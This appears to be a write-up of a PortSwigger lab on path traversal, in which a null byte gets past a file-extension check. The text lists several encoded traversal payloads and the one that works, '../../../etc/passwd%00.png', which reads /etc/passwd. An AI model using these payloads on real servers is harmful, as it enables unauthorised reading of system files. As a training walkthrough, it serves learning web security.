PortSwiggerlabs: File path traversal, validation of file extension with null byte bypass

Scenario :

This lab contains a path traversal vulnerability in the display of product images.

The application validates that the supplied filename ends with the expected file extension.

To solve the lab, retrieve the contents of the /etc/passwd file.

Solution :

First we navigate the app like a normal user then we check Burp’s History :

Again, we’re interested in these 2 parameters that we can inject with our LFI payloads .

I will assume the Product ID isn’t vulnerable just like all the previous labs , just to save time , and start testing the filename parameter instead :

First i tried all payloads from earlier labs :

%252e%252e%252fetc%252fpasswd
%252e%252e%252fetc%252fpasswd%00
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
....//....//....//etc/passwd
..///////..////..//////etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
/etc/passwd
%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

But none of them worked .

We only get a 400 .

It probably only accepts .png format .

I found this technique on Payload All the Things .

This terminates the request so that even if the server adds a certain extension, for example .php, it won’t try and read /etc/passwd.php but instead it will read /etc/passwd and ignore the rest, so that even if the server appends something it doesn’t block us.

This also works when the server expects .png in the filename. If we just ask for /etc/passwd without .png, the server rejects it because it doesn’t pass the extension check. But we can’t ask for /etc/passwd.png either, since that file doesn’t exist. This is where the null byte saves us: we send /etc/passwd%00.png, so the .png passes the server’s check, while the %00 truncates the string at the filesystem level, and the server ends up reading the real /etc/passwd.

With that being said , let’s test it :

http://example.com/index.php?page=../../../etc/passwd%00

We’re still getting the error , since we’re not passing the extension check probably .

Now if we add the .png extension :

../../../etc/passwd%00.png

This works perfectly :)

That was all for this lab , see you in the next one :)